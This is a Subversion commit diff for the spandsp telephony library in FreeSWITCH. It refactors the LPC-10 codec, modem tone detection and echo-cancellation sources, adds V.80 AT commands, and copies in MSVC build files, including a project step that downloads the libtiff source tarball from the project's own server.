 {
     int i;
     int j;
@@ -362,14 +363,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int lpc10_encode_release(lpc10_encode_state_t *s)
+SPAN_DECLARE(int) lpc10_encode_release(lpc10_encode_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) lpc10_encode_free(lpc10_encode_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int lpc10_encode(lpc10_encode_state_t *s, uint8_t code[], const int16_t amp[], int len)
+SPAN_DECLARE(int) lpc10_encode(lpc10_encode_state_t *s, uint8_t code[], const int16_t amp[], int len)
 {
     int32_t voice[2];
     int32_t pitch;

Modified: freeswitch/branches/seven/libs/spandsp/src/lpc10_placev.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/lpc10_placev.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/lpc10_placev.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -26,24 +26,24 @@
  * implementation of the LPC-10 2400 bps Voice Coder. They do not
  * exert copyright claims on their code, and it may be freely used.
  *
- * $Id: lpc10_placev.c,v 1.17 2008/07/02 14:48:25 steveu Exp $
+ * $Id: lpc10_placev.c,v 1.19 2009/01/28 03:41:27 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <stdio.h>
 #include <inttypes.h>
 #include <memory.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/dc_restore.h"

Modified: freeswitch/branches/seven/libs/spandsp/src/lpc10_voicing.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/lpc10_voicing.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/lpc10_voicing.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -26,28 +26,30 @@
  * implementation of the LPC-10 2400 bps Voice Coder. They do not
  * exert copyright claims on their code, and it may be freely used.
  *
- * $Id: lpc10_voicing.c,v 1.14 2008/07/02 14:48:25 steveu Exp $
+ * $Id: lpc10_voicing.c,v 1.18 2009/02/03 16:28:39 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <stdio.h>
 #include <inttypes.h>
 #include <memory.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/dc_restore.h"
 #include "spandsp/lpc10.h"
+#include "spandsp/private/lpc10.h"
 
 #include "lpc10_encdecs.h"
 
@@ -157,11 +159,11 @@
     /* Normalize ZC, LBE, and FBE to old fixed window length of 180. */
     /* (The fraction 90/VLEN has a range of 0.58 to 1) */
     r2 = (float) (*zc << 1);
-    *zc = lrintf(r2*(90.0f/vlen));
+    *zc = lfastrintf(r2*(90.0f/vlen));
     r1 = lp_rms/4*(90.0f/vlen);
-    *lbe = min(lrintf(r1), 32767);
+    *lbe = min(lfastrintf(r1), 32767);
     r1 = ap_rms/4*(90.0f/vlen);
-    *fbe = min(lrintf(r1), 32767);
+    *fbe = min(lfastrintf(r1), 32767);
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -322,7 +324,7 @@
     /* running average full-band voiced energy to the running average */
     /* full-band unvoiced energy. SNR filter has gain of 63. */
     r1 = (s->snr + s->fbve/(float) max(s->fbue, 1))*63/64.0f;
-    s->snr = (float) lrintf(r1);
+    s->snr = (float) lfastrintf(r1);
     snr2 = s->snr*s->fbue/max(s->lbue, 1);
     /* Quantize SNR to SNRL according to VDCL thresholds. */
     i1 = nvdcl - 1;
@@ -464,18 +466,18 @@
     if (s->voibuf[3][half] == 0)
     {
         r1 = (s->sfbue*63 + (min(fbe, s->ofbue*3) << 3))/64.0f;
-        s->sfbue = lrintf(r1);
+        s->sfbue = lfastrintf(r1);
         s->fbue = s->sfbue/8;
         s->ofbue = fbe;
         r1 = (s->slbue*63 + (min(lbe, s->olbue*3) << 3))/64.0f;
-        s->slbue = lrintf(r1);
+        s->slbue = lfastrintf(r1);
         s->lbue = s->slbue/8;
         s->olbue = lbe;
     }
     else
     {
-        s->lbve = lrintf((s->lbve*63 + lbe)/64.0f);
-        s->fbve = lrintf((s->fbve*63 + fbe)/64.0f);
+        s->lbve = lfastrintf((s->lbve*63 + lbe)/64.0f);
+        s->fbve = lfastrintf((s->fbve*63 + fbe)/64.0f);
     }
     /* Set dither threshold to yield proper zero crossing rates in the */
     /* presence of low frequency noise and low level signal input. */

Modified: freeswitch/branches/seven/libs/spandsp/src/make_at_dictionary.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/make_at_dictionary.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/make_at_dictionary.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: make_at_dictionary.c,v 1.1 2008/07/01 03:27:51 steveu Exp $
+ * $Id: make_at_dictionary.c,v 1.4 2009/04/24 22:35:25 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -228,6 +228,7 @@
     "+EFRAM",   /* V.250 6.5.8 - Frame length */ 
     "+ER",      /* V.250 6.5.5 - Error control reporting */ 
     "+ES",      /* V.250 6.5.1 - Error control selection */ 
+    "+ESA",     /* V.80 8.2 - Synchronous access mode configuration */ 
     "+ESR",     /* V.250 6.5.3 - Selective repeat */ 
     "+ETBM",    /* V.250 6.5.6 - Call termination buffer management */ 
     "+EWIND",   /* V.250 6.5.7 - Window size */ 
@@ -289,8 +290,8 @@
     "+GMR",     /* V.250 6.1.6 - Request revision identification */ 
     "+GOI",     /* V.250 6.1.8 - Request global object identification */ 
     "+GSN",     /* V.250 6.1.7 - Request product serial number identification */ 
-    "+IBC",     /* TIA-617 8.3 - Control of in-band control */
-    "+IBM",     /* TIA-617 8.4 - In-Band MARK idle reporting control */
+    "+IBC",     /* V.80 7.9 - Control of in-band control */
+    "+IBM",     /* V.80 7.10 - In-band MARK idle reporting control */
     "+ICF",     /* V.250 6.2.11 - DTE-DCE character framing */ 
     "+ICLOK",   /* V.250 6.2.14 - Select sync transmit clock source */ 
     "+IDSR",    /* V.250 6.2.16 - Select data set ready option */ 
@@ -299,6 +300,7 @@
     "+ILSD",    /* V.250 6.2.15 - Select long space disconnect option */ 
     "+IPR",     /* V.250 6.2.10 - Fixed DTE rate */ 
     "+IRTS",    /* V.250 6.2.17 - Select synchronous mode RTS option */ 
+    "+ITF",     /* V.80 8.4 - Transmit flow control thresholds */
     "+MA",      /* V.250 6.4.2 - Modulation automode control */ 
     "+MR",      /* V.250 6.4.3 - Modulation reporting control */ 
     "+MS",      /* V.250 6.4.1 - Modulation selection */ 
@@ -541,7 +543,7 @@
 
 static void trie_add(trie_t *s, const char *u, size_t len)
 {
-    int i;
+    size_t i;
     int index;
     trie_node_t *t;
 

Modified: freeswitch/branches/seven/libs/spandsp/src/make_modem_filter.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/make_modem_filter.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/make_modem_filter.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: make_modem_filter.c,v 1.12 2008/09/18 14:59:30 steveu Exp $
+ * $Id: make_modem_filter.c,v 1.16 2009/07/10 13:15:56 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -33,24 +33,31 @@
 #include <inttypes.h>
 #include <stdlib.h>
 #include <unistd.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <string.h>
 #include <stdio.h>
 #include <time.h>
 #include <fcntl.h>
+#if defined(__sunos)  ||  defined(__solaris)
+#include <getopt.h>
+#endif
 
 #include "spandsp/telephony.h"
 #include "spandsp/complex.h"
 #include "filter_tools.h"
 
+#if !defined(FALSE)
 #define FALSE 0
+#endif
+#if !defined(TRUE)
 #define TRUE (!FALSE)
+#endif
 
 //#define SAMPLE_RATE         8000.0
 #define MAX_COEFFS_PER_FILTER   128
@@ -351,6 +358,7 @@
     }
     if (strcmp(modem, "V.17") == 0)
     {
+        /* This applies to V.32bis as well as V.17 */
         rx_coeff_sets = 192;
         rx_coeffs_per_filter = 27;
         rx_excess_bandwidth = 0.5;

Copied: freeswitch/branches/seven/libs/spandsp/src/mmx_sse_decs.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/mmx_sse_decs.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/mmx_sse_decs.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/mmx_sse_decs.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,61 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * mmx_sse_decs.h - Pull in the appropriate systems headers for the MMX/SSE settings.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2009 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: mmx_sse_decs.h,v 1.1 2009/07/12 09:23:09 steveu Exp $
+ */
+
+#if !defined(_MMX_SSE_DECS_H_)
+#define _MMX_SSE_DECS_H_
+
+#if defined(SPANDSP_USE_MMX)
+#include <mmintrin.h>
+#endif
+#if defined(SPANDSP_USE_SSE)
+#include <xmmintrin.h>
+#endif
+#if defined(SPANDSP_USE_SSE2)
+#include <emmintrin.h>
+#endif
+#if defined(SPANDSP_USE_SSE3)
+#include <pmmintrin.h>
+#endif
+#if defined(SPANDSP_USE_SSSE3)
+#include <tmmintrin.h>
+#endif
+#if defined(SPANDSP_USE_SSE4_1)
+#include <smmintrin.h>
+#endif
+#if defined(SPANDSP_USE_SSE4_2)
+#include <nmmintrin.h>
+#endif
+#if defined(SPANDSP_USE_SSE4A)
+#include <ammintrin.h>
+#endif
+#if defined(SPANDSP_USE_SSE5)
+#include <bmmintrin.h>
+#endif
+
+#endif
+
+/*- End of include ---------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/modem_connect_tones.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/modem_connect_tones.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/modem_connect_tones.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,28 +23,29 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: modem_connect_tones.c,v 1.28 2008/09/07 12:45:16 steveu Exp $
+ * $Id: modem_connect_tones.c,v 1.37 2009/06/02 16:03:56 steveu Exp $
  */
  
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <stdlib.h>
 #include <memory.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <stdio.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/logging.h"
 #include "spandsp/complex.h"
 #include "spandsp/dds.h"
@@ -56,9 +57,12 @@
 #include "spandsp/fsk.h"
 #include "spandsp/modem_connect_tones.h"
 
+#include "spandsp/private/fsk.h"
+#include "spandsp/private/modem_connect_tones.h"
+
 #define HDLC_FRAMING_OK_THRESHOLD       5
 
-const char *modem_connect_tone_to_str(int tone)
+SPAN_DECLARE(const char *) modem_connect_tone_to_str(int tone)
 {
     switch (tone)
     {
@@ -83,11 +87,11 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int modem_connect_tones_tx(modem_connect_tones_tx_state_t *s,
-                           int16_t amp[],
-                           int len)
+SPAN_DECLARE_NONSTD(int) modem_connect_tones_tx(modem_connect_tones_tx_state_t *s,
+                                                int16_t amp[],
+                                                int len)
 {
-    int mod;
+    int16_t mod;
     int i;
     int xlen;
 
@@ -162,7 +166,7 @@
         }
         for (  ;  i < len;  i++)
         {
-            mod = s->level + dds_mod(&s->mod_phase, s->mod_phase_rate, s->mod_level, 0);
+            mod = (int16_t) (s->level + dds_mod(&s->mod_phase, s->mod_phase_rate, s->mod_level, 0));
             amp[i] = dds_mod(&s->tone_phase, s->tone_phase_rate, mod, 0);
         }
         s->duration_timer -= len;
@@ -183,7 +187,7 @@
                 s->hop_timer = ms_to_samples(450);
                 s->tone_phase += 0x80000000;
             }
-            mod = s->level + dds_mod(&s->mod_phase, s->mod_phase_rate, s->mod_level, 0);
+            mod = (int16_t) (s->level + dds_mod(&s->mod_phase, s->mod_phase_rate, s->mod_level, 0));
             amp[i] = dds_mod(&s->tone_phase, s->tone_phase_rate, mod, 0);
         }
         s->duration_timer -= len;
@@ -193,8 +197,8 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-modem_connect_tones_tx_state_t *modem_connect_tones_tx_init(modem_connect_tones_tx_state_t *s,
-                                                            int tone_type)
+SPAN_DECLARE(modem_connect_tones_tx_state_t *) modem_connect_tones_tx_init(modem_connect_tones_tx_state_t *s,
+                                                                           int tone_type)
 {
     int alloced;
 
@@ -249,8 +253,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int modem_connect_tones_tx_free(modem_connect_tones_tx_state_t *s)
+SPAN_DECLARE(int) modem_connect_tones_tx_release(modem_connect_tones_tx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) modem_connect_tones_tx_free(modem_connect_tones_tx_state_t *s)
+{
     free(s);
     return 0;
 }
@@ -323,7 +333,7 @@
                     s->flags_seen = 0;
                 if (++s->flags_seen >= HDLC_FRAMING_OK_THRESHOLD  &&  !s->framing_ok_announced)
                 {
-                    report_tone_state(s, MODEM_CONNECT_TONES_FAX_PREAMBLE, lrintf(fsk_rx_signal_power(&(s->v21rx))));
+                    report_tone_state(s, MODEM_CONNECT_TONES_FAX_PREAMBLE, lfastrintf(fsk_rx_signal_power(&(s->v21rx))));
                     s->framing_ok_announced = TRUE;
                 }
             }
@@ -344,7 +354,9 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int modem_connect_tones_rx(modem_connect_tones_rx_state_t *s, const int16_t amp[], int len)
+SPAN_DECLARE_NONSTD(int) modem_connect_tones_rx(modem_connect_tones_rx_state_t *s,
+                                                const int16_t amp[],
+                                                int len)
 {
     int i;
     int16_t notched;
@@ -363,7 +375,7 @@
             famp = v1 - 1.2994747954630f*s->z1 + s->z2;
             s->z2 = s->z1;
             s->z1 = v1;
-            notched = (int16_t) lrintf(famp);
+            notched = (int16_t) lfastrintf(famp);
 
             /* Estimate the overall energy in the channel, and the energy in
                the notch (i.e. overall channel energy - tone energy => noise).
@@ -376,7 +388,7 @@
                 if (s->tone_present != MODEM_CONNECT_TONES_FAX_CNG)
                 {
                     if (++s->tone_cycle_duration >= ms_to_samples(415))
-                        report_tone_state(s, MODEM_CONNECT_TONES_FAX_CNG, lrintf(log10f(s->channel_level/32768.0f)*20.0f + DBM0_MAX_POWER + 0.8f));
+                        report_tone_state(s, MODEM_CONNECT_TONES_FAX_CNG, lfastrintf(log10f(s->channel_level/32768.0f)*20.0f + DBM0_MAX_POWER + 0.8f));
                 }
             }
             else
@@ -389,6 +401,10 @@
             }
         }
         break;
+    case MODEM_CONNECT_TONES_FAX_PREAMBLE:
+        /* Ignore any CED tone, and just look for V.21 preamble. */
+        fsk_rx(&(s->v21rx), amp, len);
+        break;
     case MODEM_CONNECT_TONES_FAX_CED_OR_PREAMBLE:
         /* Also look for V.21 preamble. A lot of machines don't send the 2100Hz burst. It
            might also not be seen all the way through the channel, due to switching delays. */
@@ -406,7 +422,7 @@
             famp = v1 + 0.1567596f*s->z1 + s->z2;
             s->z2 = s->z1;
             s->z1 = v1;
-            notched = (int16_t) lrintf(famp);
+            notched = (int16_t) lfastrintf(famp);
             /* Estimate the overall energy in the channel, and the energy in
                the notch (i.e. overall channel energy - tone energy => noise).
                Use abs instead of multiply for speed (is it really faster?).
@@ -439,7 +455,7 @@
                     if (s->tone_cycle_duration >= ms_to_samples(450 - 25))
                     {
                         if (++s->good_cycles == 3)
-                            report_tone_state(s, MODEM_CONNECT_TONES_ANS_PR, lrintf(log10f(s->channel_level/32768.0f)*20.0f + DBM0_MAX_POWER + 0.8f));
+                            report_tone_state(s, MODEM_CONNECT_TONES_ANS_PR, lfastrintf(log10f(s->channel_level/32768.0f)*20.0f + DBM0_MAX_POWER + 0.8f));
                     }
                     else
                     {
@@ -453,7 +469,7 @@
                     if (s->tone_cycle_duration >= ms_to_samples(550))
                     {
                         if (s->tone_present == MODEM_CONNECT_TONES_NONE)
-                            report_tone_state(s, MODEM_CONNECT_TONES_ANS, lrintf(log10f(s->channel_level/32768.0f)*20.0f + DBM0_MAX_POWER + 0.8f));
+                            report_tone_state(s, MODEM_CONNECT_TONES_ANS, lfastrintf(log10f(s->channel_level/32768.0f)*20.0f + DBM0_MAX_POWER + 0.8f));
                         s->good_cycles = 0;
                         s->tone_cycle_duration = ms_to_samples(550);
                     }
@@ -486,7 +502,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int modem_connect_tones_rx_get(modem_connect_tones_rx_state_t *s)
+SPAN_DECLARE(int) modem_connect_tones_rx_get(modem_connect_tones_rx_state_t *s)
 {
     int x;
     
@@ -496,10 +512,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-modem_connect_tones_rx_state_t *modem_connect_tones_rx_init(modem_connect_tones_rx_state_t *s,
-                                                            int tone_type,
-                                                            tone_report_func_t tone_callback,
-                                                            void *user_data)
+SPAN_DECLARE(modem_connect_tones_rx_state_t *) modem_connect_tones_rx_init(modem_connect_tones_rx_state_t *s,
+                                                                           int tone_type,
+                                                                           tone_report_func_t tone_callback,
+                                                                           void *user_data)
 {
     if (s == NULL)
     {
@@ -510,9 +526,10 @@
     s->tone_type = tone_type;
     switch (s->tone_type)
     {
+    case MODEM_CONNECT_TONES_FAX_PREAMBLE:
     case MODEM_CONNECT_TONES_FAX_CED_OR_PREAMBLE:
         fsk_rx_init(&(s->v21rx), &preset_fsk_specs[FSK_V21CH2], TRUE, v21_put_bit, s);
-        fsk_rx_signal_cutoff(&(s->v21rx), -45.5);
+        fsk_rx_signal_cutoff(&(s->v21rx), -45.5f);
         break;
     case MODEM_CONNECT_TONES_ANS_PR:
     case MODEM_CONNECT_TONES_ANSAM:
@@ -540,8 +557,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int modem_connect_tones_rx_free(modem_connect_tones_rx_state_t *s)
+SPAN_DECLARE(int) modem_connect_tones_rx_release(modem_connect_tones_rx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) modem_connect_tones_rx_free(modem_connect_tones_rx_state_t *s)
+{
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/modem_echo.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/modem_echo.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/modem_echo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: modem_echo.c,v 1.22 2008/07/02 14:48:25 steveu Exp $
+ * $Id: modem_echo.c,v 1.25 2009/02/03 16:28:39 steveu Exp $
  */
 
 /*! \file */
@@ -33,27 +33,27 @@
  */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <inttypes.h>
 #include <string.h>
 #include <stdio.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/bit_operations.h"
 #include "spandsp/dc_restore.h"
 #include "spandsp/modem_echo.h"
 
-modem_echo_can_state_t *modem_echo_can_create(int len)
+SPAN_DECLARE(modem_echo_can_state_t *) modem_echo_can_create(int len)
 {
     modem_echo_can_state_t *ec;
 
@@ -86,7 +86,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void modem_echo_can_free(modem_echo_can_state_t *ec)
+SPAN_DECLARE(void) modem_echo_can_free(modem_echo_can_state_t *ec)
 {
     fir16_free(&ec->fir_state);
     free(ec->fir_taps32);
@@ -95,7 +95,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void modem_echo_can_flush(modem_echo_can_state_t *ec)
+SPAN_DECLARE(void) modem_echo_can_flush(modem_echo_can_state_t *ec)
 {
     ec->tx_power = 0;
 
@@ -107,13 +107,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void modem_echo_can_adaption_mode(modem_echo_can_state_t *ec, int adapt)
+SPAN_DECLARE(void) modem_echo_can_adaption_mode(modem_echo_can_state_t *ec, int adapt)
 {
     ec->adapt = adapt;
 }
 /*- End of function --------------------------------------------------------*/
 
-int16_t modem_echo_can_update(modem_echo_can_state_t *ec, int16_t tx, int16_t rx)
+SPAN_DECLARE(int16_t) modem_echo_can_update(modem_echo_can_state_t *ec, int16_t tx, int16_t rx)
 {
     int32_t echo_value;
     int clean_rx;

Property changes: freeswitch/branches/seven/libs/spandsp/src/msvc


Name: svn:ignore
   + *.user
Debug
Release
All
7za.exe

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/Download_TIFF.2005.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/Download_TIFF.2005.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/Download_TIFF.2005.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/Download_TIFF.2005.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="Download TIFF"
+	ProjectGUID="{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}"
+	RootNamespace="Download TIFF"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="All|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\tiff\cleancount"
+			>
+			<FileConfiguration
+				Name="All|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Downloading Tiff."
+					CommandLine="if not exist &quot;$(ProjectDir)..\..\..\tiff-3.8.2&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/tiff-3.8.2.tar.gz &quot;$(ProjectDir)..\..\..&quot;&#x0D;&#x0A;"
+					Outputs="$(ProjectDir)..\..\..\tiff-3.8.2"
+				/>
+			</FileConfiguration>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/Download_TIFF.2008.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/Download_TIFF.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/Download_TIFF.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/Download_TIFF.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="Download TIFF"
+	ProjectGUID="{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}"
+	RootNamespace="Download TIFF"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="All|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\tiff\cleancount"
+			>
+			<FileConfiguration
+				Name="All|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Downloading Tiff."
+					CommandLine="if not exist &quot;$(ProjectDir)..\..\..\tiff-3.8.2&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/tiff-3.8.2.tar.gz &quot;$(ProjectDir)..\..\..&quot;&#x0D;&#x0A;"
+					Outputs="$(ProjectDir)..\..\..\tiff-3.8.2"
+				/>
+			</FileConfiguration>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/config.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/config.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/config.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/config.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,83 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * config.h - a fudge for MSVC, which lacks this header
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Michael Jerris
+ *
+ *
+ * This file is released in the public domain.
+ *
+ * $Id: config.h,v 1.4 2009/02/25 15:30:21 steveu Exp $
+ */
+
+#if !defined(_MSVC_CONFIG_H_)
+#define _MSVC_CONFIG_H_
+
+#define HAVE_SINF
+#define HAVE_COSF
+#define HAVE_TANF
+#define HAVE_ASINF
+#define HAVE_ACOSF
+#define HAVE_ATANF
+#define HAVE_ATAN2F
+#define HAVE_CEILF
+#define HAVE_FLOORF
+#define HAVE_POWF
+#define HAVE_EXPF
+#define HAVE_LOGF
+#define HAVE_LOG10F
+#define HAVE_MATH_H
+#define HAVE_TGMATH_H
+
+#define HAVE_LONG_DOUBLE
+#define HAVE_LIBTIFF
+
+#define SPANDSP_USE_EXPORT_CAPABILITY 1
+
+#define PACKAGE "spandsp"
+#define VERSION "0.0.6"
+
+/* Win32/DevStudio compatibility stuff */
+
+#ifdef _MSC_VER
+
+  #if (_MSC_VER >= 1400) // VC8+
+    #ifndef _CRT_SECURE_NO_DEPRECATE
+      #define _CRT_SECURE_NO_DEPRECATE
+    #endif
+    #ifndef _CRT_NONSTDC_NO_DEPRECATE
+      #define _CRT_NONSTDC_NO_DEPRECATE
+    #endif
+    #ifndef _CRT_SECURE_NO_WARNINGS
+      #define _CRT_SECURE_NO_WARNINGS
+    #endif
+  #endif // VC8+
+
+  // disable the following warnings 
+  #pragma warning(disable:4100) // The formal parameter is not referenced in the body of the function. The unreferenced parameter is ignored. 
+  #pragma warning(disable:4200) // Non standard extension C zero sized array
+  #pragma warning(disable:4706) // assignment within conditional expression
+  #pragma warning(disable:4244) // conversion from 'type1' to 'type2', possible loss of data
+  #pragma warning(disable:4295) // array is too small to include a terminating null character
+  #pragma warning(disable:4125) // decimal digit terminates octal escape sequence
+  #pragma warning(disable:4305) // 'function' : truncation from 'double' to 'float'
+  #pragma warning(disable:4018) // '<' : signed/unsigned mismatch
+  #pragma warning(disable:4389) // '==' : signed/unsigned mismatch
+  #pragma warning(disable:4245) // 'return' : conversion from 'int' to 'size_t', signed/unsigned mismatch
+
+  #define strncasecmp _strnicmp
+  #define strcasecmp _stricmp
+  #define snprintf _snprintf
+  #define inline __inline
+  #define __inline__ __inline
+
+  #define _MMX_H_
+
+  #include <malloc.h> // To get alloca
+
+#endif
+
